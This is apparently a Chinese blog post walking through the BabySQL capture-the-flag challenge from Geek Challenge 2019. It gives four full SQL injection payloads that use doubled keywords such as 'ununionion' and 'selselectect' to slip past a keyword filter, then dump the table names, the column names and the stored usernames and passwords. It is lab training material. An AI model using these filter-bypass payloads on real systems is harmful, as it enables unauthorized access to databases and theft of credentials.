[极客大挑战 2019]BabySQL 1
[极客大挑战 2019]BabySQL 1
审题
还是SQL注入和之前的是一个系列的。
知识点
联合注入,双写绕过
解题
-
输入万能密码
发现回显中没有or,猜测是使用正则过滤了or。
- 尝试双写绕过
登录成功
-
使用联合查询,本题中过滤了from,where,or ,by,union,select。
看到4没有注入点,2和3都有
-
输入
1'ununionion seselectlect 1,2,database()#
爆出数据库
-
输入
1' ununionion selselectect 1,2,group_concat(table_name) frfromom infoorrmation_schema.tables whwhereere table_schema=database()#
得到类名
-
输入
1' ununionion selselectect 1,2,group_concat(column_name) frfromom infoorrmation_schema.columns whwhereere table_name='b4bsql'#
得到表名
-
输入
1' ununionion selselectect 1,2,group_concat(id,username,passwoorrd) frfromom b4bsql#
得到表的内容
【推荐】国内首个AI IDE,深度理解中文开发场景,立即下载体验Trae
【推荐】编程新体验,更懂你的AI,立即体验豆包MarsCode编程助手
【推荐】抖音旗下AI助手豆包,你的智能百科全书,全免费不限次数
【推荐】轻量又高性能的 SSH 工具 IShell:AI 加持,快人一步
· 阿里最新开源QwQ-32B,效果媲美deepseek-r1满血版,部署成本又又又降低了!
· 开源Multi-agent AI智能体框架aevatar.ai,欢迎大家贡献代码
· Manus重磅发布:全球首款通用AI代理技术深度解析与实战指南
· 被坑几百块钱后,我竟然真的恢复了删除的微信聊天记录!
· AI技术革命,工作效率10个最佳AI工具